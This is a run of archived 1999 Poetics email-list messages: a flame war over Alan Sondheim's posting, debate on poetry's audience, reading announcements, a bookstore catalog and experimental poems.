but i and a bunch of other poets here in Atlanta felt at least very sympathetic: AS's work is often weak, diffuse, silly, and its extreme frequency on the list has led at least a half-dozen people i know to find new meaning in the phrase, "delete, don't read." Now, i think AS's work is sometimes energetic, interesting, provocative, and complex, also. Not as much as i'd like..and he sure does (as DR suggests) publish (including this list as a form of publication) far more than maybe he should. But, yeah, it is helpful to be acquainted with his work... i'm afraid Kent Johnson's extreme enthusiasm is a bit over the top; in my scheme of poetic things AS isn't huge or important or terribly exciting...

But Dan was indeed (as he suggests) expressing the feelings of *quite a few* people on the list. And i feel he is right to point out that the responses to him were a little too quick and too thoughtless: he was not calling for censorship.

So, as he says below: let 80 flowers bloom.....

mark prejsnar

On Tue, 19 Oct 1999, dan raphael wrote:

> *1) Maybe i should have back channeled to sondheim asking him about his work.*
>
> *2) why would the same people championing alan's right to express himself on the list blast me for expressing myself. they sy the list is for exchanging ideas and get dont get up in arms about me.*
>
> *3) i do not favor censorship. i was not asking the list meister to limit sondheims posting, but asking alan to consider the frequency of his positng in lieu of the list's limited time and reader's time as well. unlike several of the people who back-channeled me i get my list in digest form and cannot delete posts on sight. i do read through everything that's sent me. [there's always a lot of back-channel discussion. no one posted to the list in favor of my opinion, tho i received several back channels in support, as i suppose alan did]*
>
> *4) but back to differences of opinions. some say that's what the list is for. and i suppose i should craft some moreciritcal reasons why i dont think reading most of alan's postings is worth my time. maybe even a reason critical argument would go against what some people see as the list's range ofitnerests/behaviors, since we dont see much heated discussion*
>
> *5) lets see more poems by more people. lets' see more opinons about poems, more poetics & elss personalities. or maybe all of the above*

↑ Index

295. **Lowther, John**

Numbered Suggests (was "This is MY list!")

Thu 21 Oct 1999

{ p o e t i x }

sondheim writes;

> And Fourth - I want to thank the readers on this list in general for their
> generosity; I'd also like to see more work presented here that deals with
> Poetics - from a point of view _within_ poetry or other literary forms,
> complementing the work already from the position of critique or dialog.
>

raphael writes;

5) lets see more poems by more people. lets' see more opinions about poems, more poetics & else personalities. or maybe all of the above

a silly song sings;

this list is my list, this list is your list...

stephen ellis brings up some interesting things in his post "up with down"

that is, i think he's right in saying that there is a "seriousness" factor (i serious now do mumble yawn) but, well, i'd hope that it's perspectival, that maybe what i (and i assume others) write that comes off over-serious or something might be more adequately described as being full of concern, mine (in this example) ---- i think recently of that form and content post i sent in with the talk of creeley and antin etc, i can see, and easily imagine various others finding the concerns expressed there "too" something... serious ? theoretical ? (or theoretically naive ?) ---- but, in that instance, theyre mine and i care about em

i imagine that if i suggested, even if only to myself, that the things i post to the list *ought* to all be things about which i really cared, that i'd immediately begin to chafe

stephen asks;

But what of posts that push the envelope of the group's assumptions? (i.e.., what ARE the group's assumptions?)

indeed, what are they ?
(our most cherished the hardest to spot ?)

john's list of poetix list assumptions/observations (making these up as i go)

1. posts which make unsupported, even banal claims contrary to (my perception of) general consensus will get lots of attention and have the potential to spawn multiple threads

2. most of the really interesting stuff must be going on backchannel

3. reading announcements that sound really fucking great are at least 9 hours away from where i am

4. alan sondheim will post at least every other day

5. any discussion of books of criticism will move into (if not thru) a divisive period of threading

6. everyone thinks the list cd be more interesting, useful, meaningful, productive (pick yr value term) but...

7. that things like the following will annoy some people

to thank the list like
position critique about interesting (and
assume all will the threads
really must i at into
(hmmm...? apparently build outright choices
Perhaps over of conceit? point
sondheim chafe announcements discussion criticism
attention backchannel i criticism thru)

divisive point agreeable presentation, generosity;
assumptions? assumptions?) are unsupported, and
have potential apparently never there
the scene light list "destination"
what always in order able
also all the this that
that is it's i imagine
expressed really cherished interesting discussion
of criticism move dan confident
measured against otherwise attention backchannel
i criticism thru) divisive point
agreeable presentation, generosity; assumptions? assumptions?)
are unsupported, and have potential
apparently never there the scene
light list "destination" what always
in order able also all
the this that that is
it's i imagine expressed really
8. that no one actually has a typewriter hooked to the list

so what
do we want
from the list ?

dan wants
more by more
(but less by alan)
more opinions but less personalities
(hmmm...? maybe this
is a call for chance derived
opinions ? i.e., those not
held and ultimately revealing
personalities)

alan wants
poetics "from a point of view _within_ poetry" etc
(not sure i like this
as i've heard so much talk of
this basic idea, and all of it
hinges on an apparently *very clear*
idea of what's "within" and what's
"without" that i'm never very confident
about myself)

i don't know what i want or if i do i doubt i should say

)L

↑ Index

296. Hilton Manfred Obenzinger
Re: Making & Looping Poetry Tapes
Thu 21 Oct 1999

I have a regular assignment in classes for students to read and record 20 minute selections from Moby Dick, Huckelberry Finn, Leaves of Grass, poems of John Donne, Howl, (depending on what the class focuses on), and they are to write short descriptions of how they made their selections, how their understanding of the text guides them in their performance, how they do the voices, intonation, sound effects or music (sometimes these readings turn into productions), etc. This is invariably an exciting, illuminating experience. Reading out loud allows you to experience the oral quality of literature (particularly of something like Huckelberry Finn) or the hidden poetic qualities of prose (the iambic pentameter of Moby Dick), the breath rythmns of poetry (Howl), or quality or tone (the standup comedian characteristic of AG's "America"). Reading out loud creates connectivity and music that otherwise the text-scanning eyeball often misses. Taking turns I had a class read excerpts from a Dorothy Parker story alongside excerpts from Gertrude Stein out loud -- and suddenly the works opened up and students "got" Stein and even felt a strange parallel between two seemingly incompatable writers. Open mouth; open brain.

Hilton Obenzinger

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297. Alicia Askenase
Charles Bernstein and Gil Ott Reading, Oct 24
Thu 21 Oct 1999

The Notable Poets and Writers Series
presents

CHARLES BERNSTEIN and GIL OTT

Sunday, October 24, 2:30 p.m.
at the
Walt Whitman Cultural Arts Center
2nd and Cooper Streets
Camden, New Jersey 08102

adjacent to the Rutgers University Camden campus

for info and directions
www.waltwhitmancenter.org

[redacted]

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298. David Zauhar
Re: the real issue of audience
Thu 21 Oct 1999

David Kellogg will be more articulate than I can be on this issue, but that's not going to stop me from writing. Audience studies for poetry would be interesting and are necessary, especially given that there seem to be dozens of laments published annually about poetry and the loss of audience (the Death of Poetry genre). By audience studies, I mean actual, empirical studies of the sort, for instance, that Bourdieu undertakes in Distinction. Closer to (my own anglo-american) home, in the late 80s, cultural studies scholars focusing on mass communication shifted attention from the texts to audience. The purpose seemed to be to empower the audience, to see, as I seem to remember David Kellogg mentioning at least once when explicating Bourdieu, what uses the audience made of the programs. There would be several differences between a cultstud TV audience study and any future poetry audience study. One that immediately pops to mind is that TV critics, from the Frankfurt School on, assumed passivity on behalf of tv audiences, whereas poetry readers (readers in general) where considered to be somewhat more active (then again, a common criticisim of "workshop poetry" is that it assumes greater passivity than does more formally investigative poetry). (I.A. Richards' _Practical Criticism_ as primitive audience study?) In any case, while I think that Audience study is necessary at some point, a MAJOR problem with all the cultstud works I can think of (Ien Ang's Watching Dallas, even Bourdieu's Distinction, to name just two) is that, ultimately, all that changes is that the TEXT shifts, from being one produced by an author-figure (writer, director, production company) to being one produced by the critic-commentator. That is, the AUDIENCE becomes the text, shaped by the commentator and subsequently commented upon by the commentator. This would strike me as a major limitation of audience studies. Of course, it's not like a study of the "primary" "text" is problem free.
Enough from me for now.

David Zauhar
University of Illinois at Chicago

"i have a city to cover with lines"

--d.a. levy

On Wed, 20 Oct 1999, Mark Prejsnar wrote:

> *David Kellog wrote: I'm not sure I understand the question. I _do_ think that Beach's analysis is dismissive of the real issue of audience. In fact, his analysis of Dobyns's audience is wholly dismissive: it is a "built-in academic audience of more than three hundred creative writing programs" (59). While a few gestures are made toward what reviewers have to say about Dobyns, or more often what they do not say: "reviewers seldom speak about his use of form, if they mention it at all." (61)*
>
> **********
>
> *Mark prejsnar replies: WHAT IS the real issue of audience?? It seems to me that Beach DOES address aspects of the issue of audience, throughout that chapter, and throughout the book.... In what way do you think he hasn't addressed "the real issue" ...? And by the way, the quotations you give from the chapter above, .. seem to me like perfectly useful and interesting asides by Beach (altho they are by no means the sum and substance of his arguments...)*

↑ Index

299. Poetics List Administration

Poe Party

Thu 21 Oct 1999

I had to reformat this message. - TS

---------- Forwarded Message ----------
Date: Thursday, October 21, 1999, 1:14 AM -0400
From: "L-Soft list server at University at Buffalo (1.8d)"
<[redacted]>
To: Poetics List <[redacted]>
Subject: POETICS: approval required (EA47E7AA)

This message was originally submitted by [redacted] to the POETICS list at LISTSERV.ACSU.BUFFALO.EDU. You can approve it using the "OK" mechanism, ignore it, or repost an edited copy. The message will expire automatically and you do not need to do anything if you just want to discard it. Please refer to the list owner's guide if you are not familiar with the "OK" mechanism; these instructions are being kept purposefully short for your convenience in processing large numbers of messages.

From: George Fouhy <[redacted]>
To: "[redacted]" <[redacted]>,
"[redacted]" <[redacted]>,

Nancy Desmond <[redacted]>,
"[redacted]" <[redacted]>,
Poetics List <[redacted]>,
"[redacted]" <[redacted]>, "[redacted]"
<[redacted]>, "[redacted]" <[redacted]>,
Sally Ann Hard <[redacted]>,
"[redacted]" <[redacted]>,
"[redacted]" <[redacted]>,
"[redacted]" <[redacted]>,
Teresa Burgun <[redacted]>, "[redacted]"
<[redacted]>, "[redacted]" <[redacted]>,
"[redacted]" <[redacted]>,
"[redacted]" <[redacted]>
Subject: Edgar Allan Poe Party!

Northern Westchester Center for the Arts
Creative arts café poetry series
272 North Bedford Rd. Mt. Kisco, NY
Telephone: [redacted]

presents
Edgar Allen Poe(and Company)

ACTOR JAMES NOBLE the "Governor" from TV's long running tv comedy series Benson READS THE POETRY OF EDGAR ALLAN POE FOLLOWED BY OPEN MIKE For POETS OF THE PAST (AUDIENCE PARTICIPATION (COSTUMES OPTIONAL))

October 25th at 7:30 PM
REFRESHMENTS
DONATION: $7.00; STUDENTS AND SENIORS: $5.00

↑ Index

300. Peter Fogarty
ping pong
Thu 21 Oct 1999

---

ping pong
pong ping pong
ping pong

or something like that? Who wrote it? It has been stuck in my head for the last three days and I can't account for its arrival except that I read it somewhere in the last two weeks and it stuck.

Regards,
peter

↑ Index

301. **MAXINE CHERNOFF**
Tracking down a reference.
Thu 21 Oct 1999

Could someone on the list help me with this? I have a new novel out, A Boy in Winter, and several people have now asked me if its title relates to a Philip Larkin poem, "A Girl in Winter." Looked in a Larkin collected and couldn't find such poem. Does anyone have a clue? (PS-- I know Larkin wasn't a good man-- I'd just like info on that line). Backchannel if you'd like.

Maxine Chernoff

↑ Index

302. **jenho**
New Avec Books URL
Thu 21 Oct 1999

Avec Books' website has a new URL--

www.instress.com/avec

It seems that the former webmaster is not going to provide a link to the site, so interested folks should please make a note of the change.

Best,

Jen

↑ Index

303. **Jamie Perez**
Re: the real issue of audience
Thu 21 Oct 1999

in all fairness, it seems like I hear again and again how poetry has a larger audience than ever. Is this larger than ever audience reading what I read? Doubt it.

The other night on local news here in DC I saw a story about what I think was a Chicago Police Precinct that got together once a week to read their own poetry and listen to each other. Community members came and participated, etc. No they didn't seem to be addressing the issues I'm dealing with, but still, people are reading/listening/writing words in some way that keeps the whole big thing moving.

Please also see the popularity/mutability of hip hop.

jamie.p

David Zauhar wrote:
<< given that there seem to be dozens of laments published annually about poetry and the loss of audience (the Death of Poetry genre). >>

↑ Index

304. Patrick Herron
Re: on sondheim, on raphael, on expression
Thu 21 Oct 1999

>AS's work is often weak, diffuse, silly, and its extreme frequency on the list has led at least a half-dozen people i know to find new meaning in the phrase, "delete, don't read."

Mack, er, Mark, you have a very bright critical career ahead of you. Pass the sunglasses and roll out the red carpet! Get me a seat on Air Force One! Feel the authoritative upholstery! Turn down the lights!:)

Gee, maybe I should show some good ol' RESTRAINT. Ahh, fuck that.

> *in my scheme of poetic things AS isn't huge or important or terribly exciting...*

And I feel priveleged to learn of his lack of importance from you. :) Can you send me that scheme? The poetics of schemata, the schematics of poetry. How poetic. Kinda like instructions on building a television. I was just building a poem from scratch yesterday, some wires, some wood, some capacitors, resistors, and was looking for a good schematic. Maybe i need to head to Hotlanta to find them? Joe's Poetry Schematics Shop down there by Five Points? :)

> *But Dan was indeed (as he suggests) expressing the feelings of *quite a few* people on the list. And i feel he is right to point out that the responses to him were a little too quick and too thoughtless: he was not calling for censorship.*

actually, he he seemed to be advocating a particular form of censorship - self-censorship. self-censorship from threats. like of being labelled a crap artist. this type of censorship is what keeps newspapers and televisions full of doodoo, full of propaganda. I think the NYT might have a job for you! :) :) :) smiling happy faces! :) :) :)

I hope this was too quick and too thoughtless. Let's have my lawyer and your lawyer do lunch. in case your flame spreads, or "blooms," as you call it.

the market force of criticism = CONTROVERSY. good work. A+. :)

if we cannot laugh
we can count ourselves
doomed to the same thing
we have always been
doomed to anyway.

Bloomin',
:)
Patrick

_____
Get Your Private, Free Email at http://www.hotmail.com

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305. **Ron Silliman**
Arion Press evicted
Thu 21 Oct 1999

Hoyem had a very decent book of his own poems in the 1960s and this press and its cousins/ancestors have been responsible for a large portion of the small press universe for a long time. At the very least one would hope that a university (e.g. Berkeley, which published Hoyem's edition of Moby Dick) would invite the press as an ongoing archive (rather the way Hatch Show Prints, the press did most of the 19th C. minstrel show and later Grand Ole Opry flyers is now a "project" of the Country Music Hall of Fame in Nashville, just round the corner from Ryman Auditorium). It would be a tragedy to lose this resource.

Ron Silliman

CAST OUT

Eviction stalks letterpress printers creating new Bible

KEN GARCIA

Thursday, October 21, 1999

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URL:
http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/1999/10/21/MN17742.DTL

In the beginning was the Word. In the end was the lease termination notice.

And while the end is not quite yet, the folks at Arion Press, one of the finest printing houses in the nation, know well that their days upon Earth may be a shadow.

Such biblical quotations are fitting in this case because Andrew Hoyem, the publisher of Arion books, is in the process of creating one of the world's greatest Bibles.

But just as the book is taking shape, so is a familiar San Francisco controversy: Hoyem and his specialized team of letterpress printers are being evicted from their longtime home on Bryant Street in the South of Market area, a place where meticulous book designers have been painting words for nearly a century.

Long before rising land prices, astronomical rents and multimedia, there was an art form called fine printing that found a home in San Francisco. The city became a showplace for some of the great American bookmakers of the modern age. People like John Henry Nash, Lawton Kennedy, and Edward and Robert Grabhorn all gravitated to the cultured city by the bay. Hoyem, who was Robert Grabhorn's last partner before his death, is their direct descendant.

The pages of the city's past are zipping by with such speed these days that it is hard to remember that beautiful books are still in demand, even if they are not available at a click from a discount merchant somewhere in the ether of the Internet. And only in development- crazed San Francisco, it seems, could the future of the Good Book end up being in such a bad place.

``It's a terrible situation for us,'' Hoyem told me the other day. ``There is a serious question about whether we can continue to function at all. And here we are in the midst of printing our biggest project ever.''

That would be the new Bible, the greatest single challenge in bookmaking. Hoyem, whose publishing house is renowned as a spawning ground for beautiful, handcrafted books, started the project more than a year ago. The Bible, all 400 copies, is being printed and bound mostly by hand. A work of printing art, and carrying a art-heavy price tag: $7,250 for an unbound edition, $8,500 for a leather-bound edition. That's without the hand-illuminated letters, which would raise the price another $2,500.

But that printing run has been disrupted by news of ``progress.'' The owners of the brick building at 460 Bryant St., the real estate arm of Fisher Friedman Associates, an architectural firm, are evicting all the tenants, ostensibly to do seismic upgrades.

Hoyem believes that the engineering work could take place with his printing presses in place, but the landlord has so far refused to extend the lease. And

Hoyem says he has been told that the architects want to develop the building to its ``full economic capacity.''

All the tenants, including some sewing firms and a few other small businesses, have been told to be out by June 30, 2000. Nothing in the Bible about that, although you might find it on a fiscal year calendar.

In Arion's case, however, moving is about as easy as printing ``War and Peace'' one letter at a time. Within his shop sit priceless presses, rare casting machines, keyboards and other equipment. His firm now owns the famed type foundry of Mackenzie & Harris, which began using its hot metal magic on equipment purchased for the 1915 Panama-Pacific International Exposition. In 1925, Mackenzie & Harris moved to a new building on Folsom Street and Hawthorne Lane, where their typography machines churned until they were relocated to the Bryant Street building in 1974.

So finding a new home for Arion involves moving more than 30 tons of cast-iron inventory and carefully reinstalling a complex configuration of gas lines, electrical lines and compressed air machines. Hoyem said the minimum estimate of any move so far has been $400,000 -- money, he says, that he does not have. At the very least, he believes, he would have to close the type foundry if he's forced to move. And the result of that would be even more costly.

``We simply could not make the kinds of books we make today,'' he says. ``It's very painful to contemplate.''

And even more so, if, like Hoyem, one bleeds ink.

Hoyem, by way of the Midwest and the Navy, started out at a small press shop in San Francisco in 1961, printing books no one else would publish, including some of the ``Beats,'' Philip Whalen and William Burroughs. Money was harder to come by than market share. He printed everything -- birth announcements, wedding announcements, even, desperate thing, office stationery.

He ended up meeting the brothers Grabhorn, legends in their field, who responded to his request for printing assistance as if he were being shepherded into a secret society. By 1966, Hoyem and Robert Grabhorn formed a partnership, which lasted until 1973 when Hoyem went on his own.

He formed Arion Press, after the Greek poet who was saved from drowning by a dolphin. And then Arion built its own mythical status in the fine art book field, starting with an edition of ``Moby Dick'' that included wood engravings of Herman Melville, whaling tools and even sea creatures. It was a tome that collectors ranked as one of the two or three greatest American fine press books. Ever.

That was many years and printings ago. Hoyem decided that his great project would be a classic rendition of the Bible, an undertaking that he said would

probably be the last folio Bible printed from hot metal type, a book to rank up there with Johannes Gutenberg's 1455 landmark version.

A timeless treasure, now running short on time.

Hoyem says Arion has just completed printing the book of Isaiah, almost exactly halfway through the 1,350-page Bible. Since the landlord so far has declined to grant a lease extension, Hoyem says he'll be lucky to finish the printing by June, and almost certainly will not be able to complete the binding.

Profit driven by development was not a key topic for the prophets, either in the end or the beginning. Hoyem is just trying to find a way to survive. That's not an easy thing for a practitioner of a lost art in a rapidly changing city.

``That which now is in the days to come shall all be forgotten,'' the Bible says. Words to live by, which is probably why they wrote them down.

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↑ Index

306. **Richard Dillon**

Re: Tracking down a reference.

Thu 21 Oct 1999

Most poets are monsters. The ones, I mean, who win.

>From: MAXINE CHERNOFF <[redacted]>
>To: [redacted]
>Subject: Tracking down a reference.
>Date: Thu, Oct 21, 1999, 4:14 PM
>

> *Could someone on the list help me with this? I have a new novel out, A Boy in Winter, and several people have now asked me if its title relates to a Philip Larkin poem, "A Girl in Winter." Looked in a Larkin collected and couldn't find such poem. Does anyone have a clue? (PS-- I know Larkin wasn't a good man-- I'd just like info on that line). Backchannel if you'd like.*
>
> *Maxine Chernoff*

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307. Alan Sondheim
Re: Numbered Suggests (was "This is MY list!")
Thu 21 Oct 1999

It's not that I have a "very clear" idea of what's within or without - in fact, just the opposite. What seems to be the case (with numerous excep- tions including the post I'm replying to) is that a kind of rational dis- course is taken as norma- tive here; then there are the poems, the experi- ments, and poeticized replies to the discourse. And I think there might be other ways to discuss poetics, which at least for me goes beyond poetry to the flesh and bones of language and the symbolic, in a way that normative prose doesn't.

I'm not very clear here, for which apologies - Alan

Internet Text at http://www.anu.edu.au/english/internet_txt Partial at http://lists.village.virginia.edu/~spoons/internet_txt.html Trace Projects at http://trace.ntu.ac.uk/writers/sondheim/index.htm

↑ Index

308. Nate and Jane Dorward
Re: Applying for ISBN #???
Thu 21 Oct 1999

Not to make a silly comment, but I was startled at the idea of a $195 fee for be- ing assigned an ISBN number--I thought this was a free service!!! In Canada here, I've received an ISBN number and an ISSN number through the National Library, free of charge.

N

Nate & Jane Dorward
[redacted]
109 Hounslow Ave., Willowdale, ON, M2N 2B1, Canada
ph: [redacted]

↑ Index

309. pete spence
Re: demographic query
Thu 21 Oct 1999

>
> >...& while we're being regionalist, what about per-capita List
>subscription
> >by city or Metropolitan area? (Boulder, the poetry scene/city which I
> >inhabit, comes to mind, but there are plenty of others: SF, NY, Lawrence

>KS,
> >Philly, etc., etc.
>
>I am getting the idea that people are curious only about US places.
>
>
>
>
>George Bowering.
> ,
>
,,,except for the Zaumist Protecorate whyche are many places eg germany/canada/france/usa/australia and all at once even!!! pete spence

---

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↑ Index

310. Susan Wheeler
Lisa Robertson
Thu 21 Oct 1999

If anyone has a current e-mail address for Lisa Robertson and could pass it along to me, I would be grateful -- my address for her seems to have expired.

Susan Wheeler

↑ Index

311. Thomas Bell
Re: demographic query
Thu 21 Oct 1999

Certainly a true statement in middle TN, but then again this is where "New Criticism" came from.

tom bell

I for one would like to see more about significant Southern form today.

Mark Prejsnar wrote:
>, there are still many peculiarities to our situation
> here in the south: the rather debilitating legacy of a certain vitiated
> and self-conscious regionalism, for instance, which reinforces the most
> trivial and establishmentarian ideas about poetic and narrative form...
>

>
--
//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,
WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
 LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

↑ Index

312. Robert Kendall
New at Word Circuits
Thu 21 Oct 1999

[Apologies for cross-posting]

 NEW AT WORD CIRCUITS

IN THE GALLERY:

The Ballad of Sand and Harry Soot
A Hypertext Poem by Stephanie Strickland

A lush poem of love gone wrong between Sand, she of silicon being, and Harry Soot, man of carbon, man of flesh and mood. Winner of a Best of the Net Award from About.com, which enthuses "Sweet and jiggy, Stephanie Strickland's new cyberpoem is hot buttered hopscotch." Stephanie Strickland has received many other awards for her poetry, and her hypertext True North is available from Eastgate Systems.

http://www.wordcircuits.com/gallery/sandsoot

IN COMMENTARY:

Time: The Final Frontier

Robert Kendall's HTlit column asks: How can we get a grip on the temporality of hypertext structure?

http://www.wordcircuits.com/comment/htlit_6.htm

IN THE STUDIO:

The latest beta version of the Connection System, a Web-based hypertext tool for poets and fiction writers. Includes Dreamweaver extensions.

http://www.wordcircuits.com/connect

Also check out our directory of authors and sites.

Word Circuits
Hypertext/Cybertext Poetry and Fiction

http://www.wordcircuits.com

Robert Kendall
E-Mail: [redacted]
Home Page: http://www.wordcircuits.com/kendall

Word Circuits (Hypertext/Cybertext Poetry and Fiction):
http://www.wordcircuits.com
On-Line Class in Hypertext Poetry and Fiction (The New School):
http://www.wordcircuits.com/kendall/htclass.htm

↑ Index

313. **MAYHEW**
tracking down Larkin
Fri 22 Oct 1999

---

re: Maxine chernoff's query:

A Girl in Winter is the title of a novel by Larkin, not a poem. It was published in 1957.

Jonathan Mayhew
[redacted]

_____

↑ Index

314. **aerialedge**
New @ Bridge St: O'Hara Catalog, poetics@, Coolidge, Harryman, Waldrop &&&
Fri 22 Oct 1999

Ordering & discount information at the end of the post. Thanks, poetics, for your support.

1. _Poetic Culture: Contemporary American Poetry Between Community and Institution_, Christopher Beach, Northwestern, $17.95.

2. _A Deleuzian Century?_ ed Ian Buchanan, Duke, $18.95. Jameson, DeLanda, Rodowick, Mullarkey, Bogue, Dwyer, Colombat, et al.

3. _Art Poetic'_, Olivier Cadiot, trans Cole Swensen, Green Integer, $12.95. "I approve of your opinion, but NOT of your violence"

4. _Cultural Evidence_, Catalina Cariaga, Subpress/ 'A' A, $12. "She was smart and clever, like that."

5. _Now It's Jazz: Writings on Kerouac & The Sounds_, Clark Coolidge, Living Batch Press, $14. "Here's another good one."

6. _Zombie Jet_, Connie Deanovich, Zoland, $13. "Alpine + compound = Hitler."

7. _The Bob Dylan Companion_, ed Carl Benson, Schirmer, $15. Articles, essays, reviews '61-'98.

8. _If So, Tell Me_, Barbara Guest, Reality Street, $10.95. "A feathery existential bower shall block / the rude flagon."

9. _The Confetti Trees_, Barbara Guest, Sun & Moon, $10.95. ". . . . the suicide reflected in the water catches the eye that with only a passing interest might have watched the woman jump into the water the eye is caught by this 'artistic trick' when an adolescence is passed viewing these 'artistic tricks' the woman jumping into the water could never be as significant to this person as 'reflections in water' the reflection in water is 'poetry of the moment.'

10. _THE WORDS after Carl Sandburg's Rootabaga Stories and Jean-Paul Sartre_, Carla Harryman, O Books, $12. "Myriad seeds when struck by passing war machines give birth to comedy."

11. _The Hat 2_, ed Davis & Edgar, $7. Berrigan, Berrigan, Bouchard, Brown, Bruno, Carlen, Carll, Friedman, Gardner, Gilfillan, Gizzi, Hale, Jarnot, Keckler, Latta, Lubasch, Luoma, McCain, Malmude, Myles, Nelson, Olin, Padgett, Patton, Price, Quart, Sikelianos, Sweet, Szamatowicz, Vitiello, Young, & Zurawski.

12. _poetics@_, ed Joel Kuszai, preface by Charles Bernstein, Roof, $18.95. Gathered largely from the first two years of the poetics list, includes 67 contributors. "Provides a window onto an ongoing, highly articulate, intensely percolating poetics-in-the-making that is a fundamental feature of the most engaging and active poetry of our time." --Charles Bernstein

13. _Poetic Investigations: Singing the Holes in History_, Paul Naylor, Northwestern, $19.95. Essays on Howe, Mackey, Hejinian, Brathwaite, and Nourbese Philip.

14. _In Memory of My Feelings: Frank O'Hara and American Art_, Russell Ferguson, MOCA/U Cal, $39.95. "Don't be bored"

15. _Theoretical Objects_, Nick Piombino, Green Integer, $10.95. "What you didn't say is what you wanted me to think about."

16. _Idea's Mirror_, Stephen Ratcliffe, Potes & Poets, $12.50. "is missing, as thought broken off"

17. _The Celebration Chronicles: Life, Liberty, and the Pursuit of Property Value in Disney's New Town_, Andrew Ross, Ballantine, $25.95.

18. _On Beauty and Being Just_, Elaine Scarry, Princeton, $14.95.

19. _Shark 2_, ed Lytle Shaw & Emily Clark, $10. McVarish, Day, Pierce, Burns, Discenza, Luoma, Clark, Bernstein, Harrison, McLeer, Bellaver, Geary, Shepard, Gray, Evans, Julian, Biglieri, & Warsh.

20. _Mexico: A Play_, Gertrude Stein, Green Integer, $10.95. "I wonder if there is a mistake."

21. _Tripwire 3_, ed Morrison & Buuck, $8. Ward, Barber, Saidenberg, Robbins, Russo, Lennon, Christie, Cahun, Robinson, Cox, Cole, Tribble, Cummings, Treadwell, Halpern, Bollinger, Killian, Harryman/Hejinian, &&&.

22. _Reluctant Gravities_, Rosmarie Waldrop, New Directions, $12.95. "Don't you think it a strange coincidence, he says, that every man whose skull's been opened had a brain?"

23. _The Cornel West Reader_, Cornel West, Basic, $35.

24. _Cerulean Embankments_, Geoff Young, Ling, Batch. $14. "O K so maybe your genius _is_ figburst sweet / but hard of heart's no bib / on educational right's, please / call a cream goatee by its rightful name"

Some Bestsellers:

The New American Poetry 1945-1960 ed. Donald Allen, $16.95.
Selected Writings Volume 2, Walter Benjamin, $37.50.
In Company: Robert Creeley's Collaborations, $24.95
The Objectivist Nexus: Essays in Cultural Poetics, ed DuPlessis & Quartermain, $24.95.
Guy Debord, Anselm Jappe, U. Cal, $17.95.
Last Instance, Dan Farrell, $9.
Fracas, Liz Fodaski, $9.
Rocks on a Platter, Barbara Guest, $12.95.
at. least., P. Inman, $9.
Medieval, Steven Farmer, $9.
Stealer's Wheel, Chris Stroffolino, $12.95.
Polyverse, Lee Ann Brown, $11.95.
_Economy of the Unlost, Anne Carson, $29.95.
Pierce-Arrow, Susan Howe, $14.95.
Meadow, Tom Raworth, $7.
Protective Immediacy, Rod Smith, $9.95.

New Time, Leslie Scalapino, $11.95.
Daybook of a Virtual Poet, Robert Creeley, $12.

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge shipping for orders out of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Washington, DC 20007.

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315. Daniel Carter
in partial martial t' word blatent lure venus the oblivionous
Fri 22 Oct 1999

{ }

in partial martial t' word blatent lure venus the oblivionous yeah this palace be jumpin' pumpin' no need o' completion in the process longs 'n' ardent softened periodicities 'n' call 'n' coil ya in return t' th' wheelhouse round: do you seed each other the way the words break and mend not so neatly but this discretely concern cause for dislocation of the dislocated to own the hall who questions wonder the in flew whence the vibes master and hence the hints cease from a few shoots stemmin' branchin' jeu das whole head o' steam book word light reverse reference (t') th' street walk her key forces hydra edition ink route well squirrelled shapes of intrusion enter lieu shuttle bracket forth betterment/beletterment a fallen main kind or snortsort not yet sworded the outer further into the exterior reaches of tangibility whose numbered trials in process blue seeds in return turretspire this sea this ocean these waters of spice 'n' reverie thin ice once owned the un-ownable in search for an other whirled being entity alife 'n' well-entoweled merge in d' eyes her marks 'n' traces sparks 'n' laces raises the snakeses spearheaded releases real eases of pressures' pleasures readily Atlantis more than a trade edition would abnormally be the accepted norm in privacy of one's own inner darkness slid up by a candle stageraging of the clampon reversal unit underwhirrled imageries on parade with no drumble but come t' blink a fit drumble might could be clothes suggested if not indicated enveloping matrix shook itshelf down in t' th' drownin' drink de-link terrorstory on location dis here locale vast unfastenin' itself up up up up on into another level o' dimension 'til d' eye-dust settle monuments crumblehood phase sequent floral scents of some swarmly wind-up motions buzzy screen all war out by gaze-glued glappa got slopped wit d' crops turned cakecuppedsidedawn the name cool 'n' kept on coolin' a spell that vent over the border in pain prevention

approximates swirled round so quick couldn't artly git no balance leff on the balance sheets new in disarray all ready renewed 'n' ready for the ready 'til th' poppy got sloppy now lick wut y'all done got star t' th' hidden did itself up into a glisteningly smoothly placaging (veneering) passage sway git ya all caught up in cotton candy (piano) reductions o' the art too swift thus missed the kiss entirely unconscious though nothing entire axioms bought 'n' soiled to sadistfraction hard heart standard it git ya 'til it got ya still loosen ain't toldly loose completely undone sleep fo' ya know wut hid ya gone vanish spoof-p(r)oof vapors th' rue th' roof aloof locked up under melting locks just as quirk shot the change simple out the complex unravel lit up in t' frames skipped by any blaze necessary glissgloss hatcheration o' th' nether feather a fiery light d' vice for the lettering in o' all kinds o' forces as swell as farces that could trip/rip/drip/lip/plip up bulb hustle must sell to distract and detract from the mot east fluidics o' the sleep through age a shunt shade blade clot off to a plaid star add t' slow this shift t' dawn fr' mouth o' night flight akin gone hid in the soon noted for its shunning of the double let alone the triple forgot about the multiple as if it never happy end in order to stimulate next text in line on off line stillness of a tropical fall(en) day out tomb null it linger in its fingerings taut so well by the road transmitter aboard for just such oceans

<bigger><bigger>--

</bigger></bigger>

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316. Tenney Nathanson

POG EVENT: Sunday Oct 31 Mayer/Cully reading at Botanical Gardens, 3:30 pm

Fri 22 Oct 1999

NEWS RELEASE

POG

in association with

Tucson Botanical Gardens and The University of Arizona Extended University

present a Poetry Reading by

Bernadette Mayer and Barbara Cully

Sunday, October 31
3:30 pm

Tucson Botanical Gardens
2150 N Alvernon

